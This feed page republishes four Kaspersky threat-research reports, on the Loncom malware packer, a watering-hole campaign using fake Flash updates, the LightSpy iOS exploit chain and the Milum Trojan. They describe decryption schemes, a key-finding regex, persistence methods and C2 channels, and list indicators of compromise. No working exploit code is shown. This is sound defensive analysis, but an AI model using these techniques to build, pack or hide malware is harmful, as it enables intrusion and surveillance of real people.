Subscribe to Kaspersky hírcsatorna Kaspersky
Frissítve: 8 óra 12 perc
2020. április 2.

Loncom packer: from backdoors to Cobalt Strike

The previous story described an unusual way of distributing malware under disguise of an update for an expired security certificate. After the story went out, we conducted a detailed analysis of the samples we had obtained, with some interesting findings. All of the malware we examined from the campaign was packed with the same packer, which we named Trojan-Dropper.NSIS.Loncom. The malware uses legitimate NSIS software for packing and loading shellcode, and Microsoft Crypto API for decrypting the final payload. Just as the earlier find, this one was not without its surprises, as one of the packaged samples contained software used by APT groups.

Primary analysis

Loncom utilizes NSIS for running shellcode contained in a file with a name that consists of numbers. In our example, the file is named 485101134:

Overview of the NSIS archive contents

Once the shellcode is unpacked to the hard disk and loaded into the memory, an NSIS script calculates the starting position and proceeds to the next stage.

What the shellcode does

Before proceeding to decrypt the payload, the shellcode starts decrypting itself piece by piece, using the following algorithm:

  • Find position for next 0xDEADBEEF dword.
  • Read dword: size of data to decrypt.
  • Read dword: first part of key.
  • Read dword: second part of key.
  • Find suitable key: check the numbers consequently, starting at 0, while xor(i, second part of key) != first part of key. This part is needed to hold up execution and prevent AV detection. After simplification, key = i = xor(first part, second part).
  • Decrypt next part of shellcode (xor), move on to it.

Decrypting the next part of the shellcode

Here’s the code that performs the algorithm described above:

After several such iterations of block decryption, the shellcode switches to active steps, loading libraries and retrieving the addresses of required functions with the help of the APIHashing technique. This helps avoid stating the names of requested functions directly, providing their hashes instead. When searching for functions by hash, a hash will be calculated for each element from the library export table until it matches the target.

Then, Loncom decrypts the payload contained in the same file as the shellcode and proceeds to run it. The payload is encrypted with an AES-256 block cipher. The decryption key is stated in the code, and the payload offset and size are passed from the NSIS script.

The main part of the shellcode: decrypting the payload


For automated Loncom unpacking, we need to find out how data is stored in the packed NSIS installers, obtain the payload offset and size from the NSIS script, and pull the key from the shellcode.

Unpacking the NSIS

After a brief analysis, we managed to find that the NSIS installers have the following structure:

  • an MZPE NSIS interpreter containing in its overlay the data to be processed: the flag, the signatures, the size of the unpacked header, and the total size of the data, and then the containers, i.e. the compressed data itself.
  • Containers in the following format: dword (data size):zlib_deflate(data). The 0th container has the header, the first container has our file with the shellcode and the payload, and the second one has the DLL with the NSIS plugin.
  • The header contains a table of operation codes for the NSIS interpreter, a string table and a language table.

As we have obtained the encrypted file, now all we need is to find the payload offset and size, and proceed to decrypting the payload and the shellcode.

NSIS data structure

As all arguments in the NSIS operation codes when using plugins are passed as strings, we need to retrieve from the header string table all strings that look like numbers within the logical limits: from 0 to (file size – shellcode size).
NSIS unpacking code:

To simplify determining the payload offset and size, we can recall the structure of the file with the shellcode: encrypted blocks are decrypted from the smallest address to the largest, top to bottom, and the payload is located above the shellcode. Thus, we can determine the position of the 0xDEADBEEF byte and consider it the end of the encrypted data (aligning as required, because AES is a block cipher).

Decrypting the shellcode

To decrypt the payload, we need to:

  • decrypt the shellcode blocks;
  • determine where the AES key is;
  • retrieve the key;
  • try to decrypt the payload for offsets received from the NSIS;
  • stop after obtaining the first two bytes = ‘MZ’.

Step one can be performed by slightly modifying the code that performs the decryption algorithm in IDA Pro. The key can be determined with the help of a simple regular expression: ‘\xC7\x45.(….)\xC7\x45.(….)\xC7\x45.(….)\xC7\x45.(….)\xE8’ — “mov dword ptr” 4 times, then “call” (pseudocode in the main part of the shellcode).
The other steps do not require a detailed explanation. We will now describe the actual malware that was packed with Loncom.

What’s inside

Besides Mokes and Buerak, which we mentioned in the previous article, we noticed packed specimens of Backdoor.Win32.DarkVNC and Trojan-Ransom.Win32.Sodin families, also known as REvil and Sodinokibi. The first is a type of backdoor used for controlling an infected machine via the VNC protocol. The second is a ransomware that encrypts the victim’s information and threatens to publish it.
However, the most exciting find was the Cobalt Strike utility, used both by legal pentesters and by various APT groups. The command center of the sample that contained Cobalt Strike had previously been seen distributing CactusTorch, a utility for running shellcode present in Cobalt Strike modules, and the same Cobalt Strike packed with a different packer.

We continue monitoring Trojan-Dropper.NSIS.Loncom and hope to share new findings soon.


BB00BA9726F922E07CF243D3CCFC2B6E (Backdoor.Win32.DarkVNC)
EBE191BF77044961684DF51B88CA8D05 (Backdoor.Win32.DarkVNC)
4B4C98AC8F04680F7C529956CFE8519B (Trojan-Ransom.Win32.Sodin)
AEF8FBB5C64734093E78EB13E6FA7849 (Cobalt Strike)

2020. március 31.

Holy water: ongoing targeted water-holing attack in Asia

On December 4, 2019, we discovered watering hole websites that were compromised to selectively trigger a drive-by download attack with fake Adobe Flash update warnings. This campaign has been active since at least May 2019, and targets an Asian religious and ethnic group.

The threat actor’s unsophisticated but creative toolset has been evolving a lot since the inception date, may still be in development, and leverages Sojson obfuscation, NSIS installer, Python, open-source code, GitHub distribution, Go language, as well as Google Drive-based C2 channels.

The threat actor’s operational target is not clear because, unfortunately, we haven’t been able to observe many live operations, and we couldn’t identify any overlap with known intrusion sets.

Thou shalt update plugins: attack synopsis

The watering holes have been set-up on websites that belong to personalities, public bodies, charities and organizations of the targeted group. At the time of writing, some of these websites (all hosted on the same server) are still compromised, and continue to direct selected visitors to malicious payloads:

Domain Description *****corps.org Voluntary service program *****ct.org Religious personality’s charity *****policy.net Policy institute *****che.com Religious personality *****parliament.org Public body *****ialwork.org Charity *****nature.net Environmental conservation network *****airtrade.com Fair trade organization

Upon visiting one of the watering hole websites, a previously compromised but legitimately embedded resource will load a malicious JavaScript. It’s hosted by one of the water-holed websites, and gathers information on the visitor. An external server (see Fig. 1) then ascertains whether the visitor is a target.

Fig. 1. Target validation service request.

If the visitor is validated as a target, the first JavaScript stage will load a second one, which in turn will trigger the drive-by download attack, showing a fake update pop-up (see Fig. 2).

Fig. 2. Warning generated by the second payload.

The visitor is then expected to fall into the update trap, and download a malicious installer package that will set up a backdoor.

For nothing is hidden that will not come to light: technical analysis 1st JavaScript stage

The first JavaScript stage is named (script|jquery)-css.js, and is obfuscated with the Chinese-language web service Sojson, version 4 (see Fig. 3).

Fig. 3. Sojson v4 JavaScript obfuscated one-liner.

The payload leverages the RTCPeerConnection API and ipify service to fingerprint visitors. The gathered data is sent to loginwebmailnic.dynssl[.]com through HTTP GET requests, in order to validate the visitor as a target:


The JSON-formatted response, whose only key is “result”, can either be “t” or “f” (true or false). If the value is “f”, then nothing happens, while “t” will trigger the second JavaScript stage (see Fig. 4).

Fig. 4. First stage deobfuscated validation logic.

In a previous version of this first JavaScript script, an additional JavaScript payload was unconditionally loaded during the first stage, and proceeded with another branch of visitor validation and the second stage.

This other branch loaded scripts from root20system20macosxdriver.serveusers[.]com, and leveraged https://loginwebmailnic.dynssl[.]com/part/mac/contentmc.php URL to validate targets. The host and validation page names suggest this other branch may have been specifically targeting MacOS users, but we were unable to confirm this hypothesis.

2nd JavaScript stage

The second JavaScript stage is named (script|jquery)-file.js, and is obfuscated with Sojson version 5 (see Fig. 5).

Fig. 5. Nerve-breaking one-line obfuscation.

The payload leverages jquery.fileDownload to show a modal pop-up to the target. It offers visitors an update to Flash Player. No technical vulnerabilities are exploited: the threat actor relies on the target’s willingness to keep their system up to date. The deobfuscated JavaScript payload (see Fig. 6) reveals that the malicious update is hosted on GitHub.

Fig. 6. Malicious update source in second JavaScript payload.

GitHub FlashUpdate repository

The pop-up links to a PE executable hosted on github[.]com/AdobeFlash32/FlashUpdate. GitHub disabled this repository on February 14 after we reported it to them. However, the repository has been online for more than nine months, and thanks to GitHub’s commit history (see Fig. 7), we gained a unique insight into the attacker’s activity and tools.

Fig. 7. GitHub’s AdobeFlash32 commit history.

Four executables were hosted in AdobeFlash32/FlashUpdate on the last day it was still available:

  • An installer package, embedding a decoy legitimate Flash update and a stager.
  • Godlike12, a Go backdoor that implements a Google Drive based C2 channel.
  • Two versions of the open-source Stitch Python backdoor that the threat actor modified to add functionalities (persistence, auto-update, decoy download and execution).

Digging into the repository for older commits, we also discovered a previous fake update toolset: a C installer bundling the legitimate Flash installer and a vanilla Stitch backdoor, as well as a C++ infostealer that collects information about host computers (OS version, IP address, hostname) and sends them over HTTP/S.

Malicious update toolset Installer package MD5 9A819F2CE060058745FF5374221ADA7C Compilation date 2017-Jul-24 06:35:22 File type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive File size 4420 KB File names flashplayer32ppi_xa_install.exe

This malicious update package is a NSIS installer version 3 that will drop and execute two other binaries:

  • FlashUpdate.exe, D59B35489CB88619415D175953CA5400, a legitimate Windows Flash Player installer from January 15 that is used as a decoy to trick the user into believing they actually set up a Flash update. As modern Adobe Flash installers ‘phone home’ to check for their own validity, this one will fail nowadays with a message stating that the installer is outdated or renamed, and will direct the user to the Adobe website.
  • Intelsyc.exe, the malicious payload (described below).

The installer is detected by Kaspersky endpoint protection heuristics as HEUR:Trojan.Win32.Tasker.gen.

Intelsyc Go stager MD5 6DC5F8282DF76F4045F75FEA3277DF41 Compilation date 1970-Jan-01 00:00:00 File type PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows File size 5976 KB File names flashplayer32ppi_xa_install.exe C2 server adobeflash31_install.ddns[.]info User Agent Go-http-client/1.1

The Go programmed Intelsyc implant is aimed at staging itself, downloading the Godlike12 backdoor (described below), and setting up persistence.

It will first retrieve /flash/sys.txt with HTTP GET on adobeflash31_install.ddns[.]info. The file contents may be used as a killswitch to stop any further deployment. If the content is “1” though, the implant will:

  • copy itself to C:/ProgramData/Intel/Intelsyc.exe;
  • establish persistence through schtasks [T1053] with a logon task named Intelsyc, run as system, and pointing to a previously created self copy;
  • download Godlike12 from github[.]com/AdobeFlash32/FlashUpdate, as C:\ProgramData\Adobe\flashdriver.exe;
  • establish Godlike12 persistence through a registry run key [T1060] named flashdriver in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, and pointing to a previously downloaded backdoor.

The stager is detected by Kaspersky endpoint protection heuristics as UDS:DangerousObject.Multi.Generic, and may be misidentified as the GoRansom Go ransomware proof of concept by other endpoint protection products.

Source files paths in the code suggest this backdoor may have been developed on a Windows system.

Godlike12 Go backdoor MD5 BEC4482890A89F0184B463C727709D53 Compilation date 1970-Jan-01 00:00:00 File type PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows File size 4436 KB File names flashdriver.exe C2 server Google Drive

This implant is written in Go language, and its C2 channel relies on file exchanges with a Google Drive space, through Google Drive’s HTTPS API v3. The implant probably leverages the gdrive Go source from GitHub, as it shares several identical code source paths with it.

Godlike12 is the name the threat actor gave to the Google Drive space connections from this implant. Source file paths in the code suggest this backdoor may have been developed on a GNU/Linux system. The not-so-common (less than 100 results in a popular search engine) /root/gowork GOPATH that some of this backdoor’s modules have been compiled from seems popular in Chinese-speaking communities, and may originate from a Chinese-authored tutorial on Go language.

Godlike12 first proceeds with host fingerprinting upon startup (hostname, IP address, MAC address, Windows version, current time). The result is encrypted, base64-encoded, stored in a text file at %TEMP%/[ID]-lk.txt, and uploaded to the remote Google Drive. The implant then regularly checks for a remote [ID]-cs.txt, that contains encrypted commands to execute, and stores encrypted command results in %TEMP%/[ID]-rf.txt to later upload them to the same Google Drive space. ID is the MD5 hash of the base64-encoded MAC address of the first connected network adapter, while TripleDES in ECB mode is used as an encryption algorithm. It is worth mentioning that once again, the encryption function seems to have been inspired from existing open-source code, which mainly appears popular in Chinese-language forums.

Godlike12 does not implement a persistence mechanism, as it is provided by the previous installer package. It is detected by Kaspersky endpoint protection heuristics as HEUR:Trojan.Win32.Generic.

With this implant being a month old at the time of writing (while being in use since at least October 2019), and other malicious update implants having been used before, it is possible that Godlike12-based operations were still a work in progress when we investigated them.

Modified Stitch Python backdoor MD5 EC993FF561CBC175953502452BFA554A Compilation date 2008-Nov-10 09:40:35 File type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows File size 7259 KB File names flashplayer32_xa_pp_install.exe
flashplayer32pp_xa_install.exe C2 server system0_update04driver_roots.dynamic-dns[.]net:443

This implant is a modified version of the open-source Python backdoor called Stitch, packed as a standalone PE executable with Py2exe.

Threat actors wrapped Stitch with custom Python code to perform additional operations:

  • It downloads a legitimate Adobe Flash installation program from the C2 server at startup;
  • It auto-updates the backdoor from ubntrooters.serveuser[.]com at startup;
  • It ensures persistence through schtasks [T1053] with a logon task named AdobeUpdater pointing to C:\ProgramData\package\AdobeService.exe.

Under the hood, Stitch is a remote shell program that provides classic backdoor functionalities by establishing a direct socket connection, to exchange AES-encrypted data with the remote server.


With almost 10 compromised websites and dozens of implanted hosts (that we know of), the attackers have set up a sizable yet very targeted water-holing attack. The toolset that’s being used seems low-budget and not fully developed, but has been modified several times in a few months to leverage interesting features like Google Drive C2, and would be characteristic of a small, agile team.

We were unable to observe any live operations, but some tracks indicate that the Godlike12 backdoor is not widespread, and is probably used to conduct reconnaissance and data-exfiltration operations.

We were unable to correlate these attacks to any known APT groups.
For more details and the latest information on this threat actor, please contact intelreports@kaspersky.com

Appendix – IOCs Infrastructure Domain IP address Description root20system20macosxdriver.serveusers[.]com 45.32.154[.]111 Watering hole targets validator server loginwebmailnic.dynssl[.]com 207.148.117[.]159 Watering hole targets validator server ubntrooters.serveuser[.]com 45.76.43[.]153 Stitch auto-update server system0_update04driver_roots.dynamic-dns[.]net 95.179.171[.]173 Stitch C2 sys_andriod20_designer.dynamic-dns[.]net 45.63.114[.]152 Stitch C2 adobeflash31_install.ddns[.]info 95.179.171[.]173 Installer package C2 airjaldinet[.]ml 108.61.178[.]125 Older C++ validator C2 URLs


Hashes (MD5)


2020. március 26.

iOS exploit chain deploys LightSpy feature-rich malware

A watering hole was discovered on January 10, 2020 utilizing a full remote iOS exploit chain to deploy a feature-rich implant named LightSpy. The site appears to have been designed to target users in Hong Kong based on the content of the landing page. Since the initial activity, we released two private reports exhaustively detailing spread, exploits, infrastructure and LightSpy implants.

Landing page of watering hole site

We are temporarily calling this APT group “TwoSail Junk”. Currently, we have hints from known backdoor callbacks to infrastructure about clustering this campaign with previous activity. And we are working with colleagues to tie LightSpy with prior activity from a long running Chinese-speaking APT group, previously reported on as Spring Dragon/Lotus Blossom/Billbug(Thrip), known for their Lotus Elise and Evora backdoor malware. Considering this LightSpy activity has been disclosed publicly by our colleagues from TrendMicro, we would like to further contribute missing information to the story without duplicating content. And, in our quest to secure technologies for a better future, we reported the malware and activity to Apple and other relevant companies.

This supplemental information can be difficult to organize to make for easy reading. In light of this, this document is broken down into several sections.

  1. Deployment timeline – additional information clarifying LightSpy deployment milestone events, including both exploit releases and individual LightSpy iOS implant component updates.
  2. Spreading – supplemental technical details on various techniques used to deliver malicious links to targets
  3. Infrastructure – supplemental description of a TwoSail Junk RDP server, the LightSpy admin panel, and some related server-side javascript
  4. Android implant and a pivot into evora – additional information on an Android implant and related infrastructure. After pivoting from the infrastructure in the previous section, we find related implants and backdoor malware, helping to connect this activity to previously known SpringDragon APT with low confidence.

More information about LightSpy is available to customers of Kaspersky Intelligence Reporting. Contact: intelreports@kaspersky.com

Deployment timeline

During our investigation, we observed the actor modifying some components involved in the exploit chain on February 7, 2020 with major changes, and on March 5, 2020 with minor ones.

Figure 1. Brief LightSpy event timeline

The first observed version of the WebKit exploit dated January 10, 2020 closely resembled a proof of concept (PoC), containing elements such as buttons, alert messages, and many log statements throughout. The second version commented out or removed many of the log statements, changed alert() to print() statements, and also introduced some language errors such as “your device is not support…” and “stab not find…”.

By analyzing the changes in the first stage WebKit exploit, we discovered the list of supported devices was also significantly extended:
Table 1. iOS version exploit support expansion

Device iOS version Supported as of Jan 10 Supported as of Feb 7 iPhone 6 11.03 + – iPhone 6S 12.01 + commented 12.2 – + iPhone 7 12.1 – + 12.11 + + 12.12 + + 12.14 – + 12.2 – + iPhone 7+ 12.2 – + iPhone 8 12.2 – + iPhone 8+ 12.2 – + iPhone X 12.2 – +

As seen above, the actor was actively changing implant components, which is why we are providing a full list of historical hashes in the IoC section at the end of this report. There were many minor changes that did not directly affect the functionality of each component, but there were also some exceptions to this that will be expanded on below. Based on our observations of these changes over a relatively short time frame, we can assess that the actor implemented a fairly agile development process, with time seemingly more important than stealthiness or quality.

One interesting observation involved the “EnvironmentalRecording” plugin (MD5: ae439a31b8c5487840f9ad530c5db391), which was a dynamically linked shared library responsible for recording surrounding audio and phone calls. On February 7, 2020, we noticed a new binary (MD5: f70d6b3b44d855c2fb7c662c5334d1d5) with the same name with no similarities to the earlier one. This new file did not contain any environment paths, version stamps, or any other traces from the parent plugin pattern. Its sole purpose was to clean up the implant components by erasing all files located in “/var/iolight/”, “/bin/light/”, and “/bin/irc_loader/”. We’re currently unsure whether the actor intended to replace the original plugin with an uninstall package or if this was a result of carelessness or confusion from the rapid development process.

Another example of a possible mistake involved the “Screenaaa” plugin. The first version (MD5: 35fd8a6eac382bfc95071d56d4086945) that was deployed on January 10, 2020 did what we expected: It was a small plugin designed to capture a screenshot, create a directory, and save the capture file in JPEG format. However, the plugin (MD5: 7b69a20920d3b0e6f0bffeefdce7aa6c) with the same name that was packaged on February 7 had a completely different functionality. This binary was actually a LAN scanner based on MMLanScan, an open source project for iOS that helps scan a network to show available devices along with their MAC addresses, hostname, and manufacturer. Most likely, this plugin was mistakenly bundled up in the February 7 payload with the same name as the screenshot plugin.

Figure 2. LightSpy iOS implant component layout and communications


We cannot say definitively that we have visibility into all of their spreading mechanisms. We do know that in past campaigns, precise targeting of individuals was performed over various social network platforms with direct messaging. And, both ours and previous reporting from others have documented TwoSail Junk’s less precise and broad use of forum posts and replies. These forum posts direct individuals frequenting these sites to pages hosting iframes served from their exploit servers. We add Telegram channels and instagram posts to the list of communication channels abused by these attackers.

These sites and communication medium are known to be frequented by some activist groups.

Figure 3. LightSpy iPhone infection steps

The initial watering hole site (hxxps://appledaily.googlephoto[.]vip/news[.]html) on January 10, 2020 was designed to mimic a well known Hong Kong based newspaper “Apple Daily” by copy-pasting HTML content from the original:

Figure 4. Source of html page mimicking newspaper “Apple Daily”

However, at that time, we had not observed any indications of the site being purposely distributed in the wild. Based on our KSN detection statistics, we began seeing a massive distribution campaign beginning on February 18, 2020.

Table 2. LightSpy related iframe domains, urls, and first seen timestamps

Starting on February 18, the actors began utilizing a series of invisible iframes to redirect potential victims to the exploit site as well as the intended legitimate news site from the lure.

Figure 5. Source of html page with lure and exploit

Infrastructure RDP Clues

The domain used for the initial watering hole page (googlephoto[.]vip) was registered through GoDaddy on September 24, 2019. No unmasked registration information was able to be obtained for this domain. The subdomain (appledaily.googlephoto[.]vip) began resolving to a non-parked IP address (103.19.9[.]185) on January 10, 2020 and has not moved since. The server is located in Singapore and is hosted by Beyotta Network, LLP.

At the time of our initial investigation, the server was listening on ports 80 (HTTP) and 3389 (RDP with SSL/TLS enabled). The certificate for the server was self-signed and created on December 16, 2019. Based on Shodan data as early as December 21, 2019, there was a currently logged in user detected who’s name was “SeinandColt”.

Figure 6. Screenshot of RDP login page for the server 103.19.9[.]185

Admin Panel

The C2 server for the iOS payload (45.134.1[.]180) also appeared to have an admin panel on TCP port 50001.

The admin panel seems to be a Vue.js application bundled with Webpack. It contains two language packs: English and Chinese. A cursory analysis provides us the impression of actual scale of the framework:

If we take a closer look at the index.js file for the panel, some interesting configurations are visible, to include a user config, an application list, log list, and other interesting settings.

The “userConfig” variable indicates other possible platforms that may have been targeted by the same actors, such as linux, windows, and routers.

Another interesting setting includes the “app_list” variable which is commented out. This lists two common applications used for streaming and chat mostly in China (QQ and Miapoi). Looking further, we can also see that the default map coordinates in the config point directly to the Tian’anmen Gate in Beijing, however, most likely this is just a common and symbolic mapping application default for the center of Beijing.

Android implants and a pivot into “evora”

During analysis of the infrastructure related to iOS implant distribution we also found a link directing to Android malware – hxxp://app.hkrevolution[.]club/HKcalander[.]apk (MD5: 77ebb4207835c4f5c4d5dfe8ac4c764d).

According to artefacts found in google cache, this link was distributed through Telegram channels “winuxhk” and “brothersisterfacebookclub”, and Instagram posts in late November 2019 with a message lure in Chinese translated as “The Hong Kong People Calendar APP is online ~~~ Follow the latest Hong Kong Democracy and Freedom Movement. Click to download and support the frontline. Currently only Android version is available.”

Further technical analysis of the packed APK reveals the timestamp of its actual build – 2019-11-04 18:12:33. Also it uses the subdomain, sharing an iOS implant distribution domain, as its c2 server – hxxp://svr.hkrevolution[.]club:8002.

Its code contains a link to another related domain:

Checking this server we found it hosted another related APK:

MD5 fadff5b601f6fca588007660934129eb URL hxxp://movie.poorgoddaay[.]com/MovieCal[.]apk C2 hxxp://app.poorgoddaay[.]com:8002 Build timestamp 2019-07-25 21:57:47

The distribution vector remains the same – Telegram channels:

The latest observed APK sample is hosted on a server that is unusual for the campaign context – xxinc-media[.]oss-cn-shenzhen.aliyuncs[.]com. We assume that the actors are taking steps to split the iOS and Android activities between different infrastructure pieces.

MD5 5d2b65790b305c186ef7590e5a1f2d6b URL hxxps://xxinc-media.oss-cn-shenzhen.aliyuncs[.]com/calendar-release-1.0.1.apk C2 hxxp://45.134.0[.]123:8002 Build timestamp 2020-01-14 18:30:30

We had not observed any indications of this URL being distributed in the wild yet.

If we take a look closer at the domain poorgoddaay[.]com that not only hosted the malicious APK but also was a C2 for them, we can note that there are two subzones of particular interest to us:

  • zg.poorgoddaay[.]com
  • ns1.poorgoddaay[.]com

We were able to work with partners to pivot into a handful of “evora” samples that use the above two subzones as their C2. Taking that a step further, using our Kaspersky Threat Attribution Engine (KTAE), we can see that the partner samples using those subzones are 99% similar to previous backdoors deployed by SpringDragon.

We are aware of other related and recent “evora” malware samples calling back to these same subnets while targeting organizations in Hong Kong as well. These additional factors help lend at least low confidence to clustering this activity with SpringDragon/LotusBlossom/Billbug.


This particular framework and infrastructure is an interesting example of an agile approach to developing and deploying surveillance framework in Southeast Asia. This innovative approach is something we have seen before from SpringDragon, and LightSpy targeting geolocation at least falls within previous regional targeting of SpringDragon/LotusBlossom/Billbug APT, as does infrastructure and “evora” backdoor use.

Source: wikimedia.org

Indicators of Compromise File hashes

9b248d91d2e1d1b9cd45eb28d8adff71 (Jan 10, 2020)
4fe3ca4a2526088721c5bdf96ae636f4 (Feb 7, 2020)

e48c1c6fb1aa6c3ff6720e336c62b278 (Jan 10, 2020)

53acd56ca69a04e13e32f7787a021bb5 (Jan 10, 2020)

184fbbdb8111d76d3b1377b2768599c9 (Jan 10, 2020)
bfa6bc2cf28065cfea711154a3204483 (Feb 7, 2020)
ff0f66b7089e06702ffaae6025b227f0 (Mar 5, 2020)

a981a42fb740d05346d1b32ce3d2fd53 (Jan 10, 2020)
5c69082bd522f91955a6274ba0cf10b2 (Feb 7, 2020)

7b263f1649dd56994a3da03799611950 (Jan 10, 2020)

ae439a31b8c5487840f9ad530c5db391 (Jan 10, 2020)
f70d6b3b44d855c2fb7c662c5334d1d5 (Feb 7, 2020)

f1c899e7dd1f721265cc3e3b172c7e90 (Jan 10, 2020)
ea9295d8409ea0f1d894d99fe302070e (Feb 7, 2020)

c450e53a122c899ba451838ee5250ea5 (Jan 10, 2020)
f761560ace765913695ffc04dfb36ca7 (Feb 7, 2020)

1e12e9756b344293352c112ba84533ea (Jan 10, 2020)
5e295307e4429353e78e70c9a0529d7d (Feb 7, 2020)

187a4c343ff4eebd8a3382317cfe5a95 (Jan 10, 2020)
66d2379318ce8f74cfbd0fb26afc2084 (Feb 7, 2020)

db202531c6439012c681328c3f8df60c (Jan 10, 2020)

3e7094eec0e99b17c5c531d16450cfda (Jan 10, 2020)
06ff47c8108f7557bb8f195d7b910882 (Feb 7, 2020)

35fd8a6eac382bfc95071d56d4086945 (Jan 10, 2020)
7b69a20920d3b0e6f0bffeefdce7aa6c (Feb 7, 2020)

a8b0c99f20a303ee410e460730959d4e (Jan 10, 2020)

8cdf29e9c6cca6bf8f02690d8c733c7b (Jan 10, 2020)

c400d41dd1d3aaca651734d4d565997c (Jan 10, 2020)

Android malware

Past similar SpringDragon evora

Domains and IPs

Implant c2
45.134.1[.]180 (iOS)
45.134.0[.]123 (Android)
app.poorgoddaay[.]com (Android)
svr[.]hkrevolution[.]club (Android)

WebKit exploit landing


Related subdomains

Full Mobile Device Command List


2020. március 24.

WildPressure targets industrial-related entities in the Middle East

In August 2019, Kaspersky discovered a malicious campaign distributing a fully fledged C++ Trojan that we call Milum. All the victims we registered were organizations from the Middle East. At least some of them are related to industrial sector. Our Kaspersky Threat Attribution Engine (KTAE) doesn’t show any code similarities with known campaigns. Nor have we seen any target intersections. In fact, we found just three almost unique samples, all in one country. So we consider the attacks to be targeted and have currently named this operation WildPressure.

The compilation timestamps for all these files is the same – March 2019. This is consistent with the fact that we registered no infections before May 31, 2019, so the compilation dates don’t seem to be spoofed. For their campaign infrastructure, the operators used rented OVH and Netzbetrieb virtual private servers (VPS) and a domain registered with the Domains by Proxy anonymization service.

The malware uses the JSON format for configuration data and as a C2 communication protocol over HTTP as well. Inside the encrypted communications within the HTTP POST requests, we found several interesting fields. One of them shows the malware version – 1.0.1. A version number like this indicates an early stage of development. Other fields suggest the existence of, at the very least, plans for non-C++ versions.

The only encryption implemented is the RC4 algorithm with different 64-byte keys for different victims. Also, the developers were kind enough to leave RTTI data inside the files. Kaspersky products detect this malware as Backdoor.Win32.Agent. For more information, please contact: intelreports@kaspersky.com

Why we call it Milum and why it’s of interest

All the aforementioned C++ Trojans are compiled as standalone PE files, originally named Milum46_Win32.exe. The word ‘milum’ is used in the C++ class names inside the malware, so we named the Trojan after it.

Another distinctive characteristic is that the malware exports lots of zlib compression functions, such as zlibVersion(), inflate() or deflate(). This compression is needed for C2 communication, but in reality there is no need to export them in the case of a standalone application.

The JSON configuration fields are not limited to just the version and programming language; the campaign operators also use target IDs that are found in the samples. Among them, we found HatLandM30 and HatLandid3 – neither of which we are familiar with. The following table provides Milum samples that have similar PE header compilation timestamps but different target IDs:

Milum46_Win32.exe sample MD5 hash Timestamp (GMT) clientid 0C5B15D89FDA9BAF446B286C6F97F535 2019.03.09 06:17:19 839ttttttt 17B1A05FC367E52AADA7BDE07714666B 2019.03.09 06:17:19 HatLandid3 A76991F15D6B4F43FBA419ECA1A8E741 2019.03.09 06:17:19 HatLandM30

Rather than describing all the configuration fields one by one, we have gathered them together in the following table, with all the main characteristics for this malware family:

Programming language C++ with STL functions used mostly to parse JSON data and exception handling. Configuration data Base64-encoded JSON data in PE resources. Includes timeouts, C2 URLs and keys for communication, including RC4 64-byte key. Network protocol Trojan transmits compressed JSON data in HTTP POST requests with gzip, base64-encoded and RC4 encrypted. Beacon data Encrypted JSON contains the malware version “1.0.1”, Epoch timestamp and client id. It also has specific fields such as “vt” and “ext” that correspond to programming language “c++” and file extension “exe”. If our hypothesis is correct, this suggests that non-C++ Trojan versions may be planned, if not already implemented. Persistence HKCU autorun system registry keys Run and RunOnce. Encryption The communication encryption used is RC4 with the 64-byte key stored in the configuration data. Compression For compression the Trojan uses an embedded gzip code. For some reason gzip functions are exported from PE, although the samples are standalone executables, not DLLs. Let’s dig a little deeper inside

The most popular sample in our telemetry was:

SHA256 a1ad9301542cc23a04a57e6567da30a6e14eb24bf06ce9dd945bbadf17e4cf56
MD5    0c5b15d89fda9baf446b286c6f97f535
Compiled     2019.03.09 06:17:19 (GMT)
Size   520704
Internal name       Milum46_Win32.exe

This application exists as an invisible toolbar window. The main malicious functions are implemented in a separate thread. Milum decodes its configuration data and, besides timeouts, it gets the parameters “clientid” and “encrypt_key” to use in RC4 encryption.

Example of the decoded and beautified configuration data. The “clientid” field differs in every sample observed

The following table describes the different configuration parameters:

Config parameter Parameter features shortwait Pause in milliseconds between C2 communication working cycles clientid Unique ASCII target name encrypt_key RC4 encryption key for JSON-based C2 communications relays – url Full URL to send HTTP POST beacon and GET commands relays – key Unique ASCII key for each C2 to communicate with it

The operators can run the Trojan using the key (“b” or “B”) as the first argument and the file name as the second. In this case, Milum will delete the file sent as a parameter. Then the Trojan will create the C:\ProgramData\Micapp\Windows\ directory and parse its configuration data to form the beacon to send to its C2.

To send the beacon, Milum uses the HTTP POST request with three parameters as enumerated in the table below.

Beacon parameter Parameter values md Clientid from config, with prefix 01011 and random five-character ASCII suffix nk Key from config to communicate with C2, differs for each server val Compressed, encrypted and encoded command JSON data

The first two parameters are taken from the configuration data. The third one is encrypted and after decryption, decompression, decoding and beautifying, it looks like this:

Decoded and beautified JSON beacon to C2. In this case, the connection to the first server was unsuccessful

There are several fields worth mentioning here. We referred above to different programming languages besides C++: “vt” seems to reference a programming language and “ext” a file extension. The only reason that we could think of for keeping these is if the attackers have several Trojans, written in different languages, to work with the same control server.

Regarding the “command” field, the control servers were inaccessible at the time of the analysis, so we don’t have commands from them. However, we analyzed the command handlers in Milum’s code as described below:

Code Meaning Features 1 Execution Silently execute received interpreter command and return result through pipe 2 Server to client Decode received content in “data” JSON field and drop to file mentioned in “path” field 3 Client to server Encode file mentioned in received command “path” field to send it 4 File info Get file attributes: hidden, read only, archive, system or executable 5 Cleanup Generate and run batch script to delete itself 6 Command result Get command execution status 7 System information Validate target with Windows version, architecture (32- or 64-bit), host and user name, installed security products (with WQL request “Select From AntiVirusProduct WHERE displayName <>’Windows Defender'”) 8 Directory list Get info about files in directory: hidden, read only, archive, system or executable 9 Update Get the new version and remove the old one Who was attacked?

According to our telemetry, the Milum Trojan was exclusively used to attack targets in the Middle East from at least the end of May 2019.

Number of detections for one of the samples from September 2019

We were able to sinkhole one of the WildPressure C2 domains (upiserversys1212[.]com) in September 2019. The vast majority of visitor IPs were also from the Middle East, and we believe the rest were network scanners, TOR exit nodes or VPN connections.

C2 domain sinkholing also shows active infections mostly from the Middle East

And who’s behind it?

To date we haven’t observed any strong code- or victim-based similarities with any known actor or set of activity. Their C++ code is quite common, regarding configuration data and communication protocol malware uses base64-encoded JSON-formatted configuration data stored in the binary’s resource section and parses it with Standard Template Library (STL) functions. However, these commonalities are not conclusive enough for attribution and our hypothesis is that they are merely coincidence. We will continue to monitor this activity

To sum up

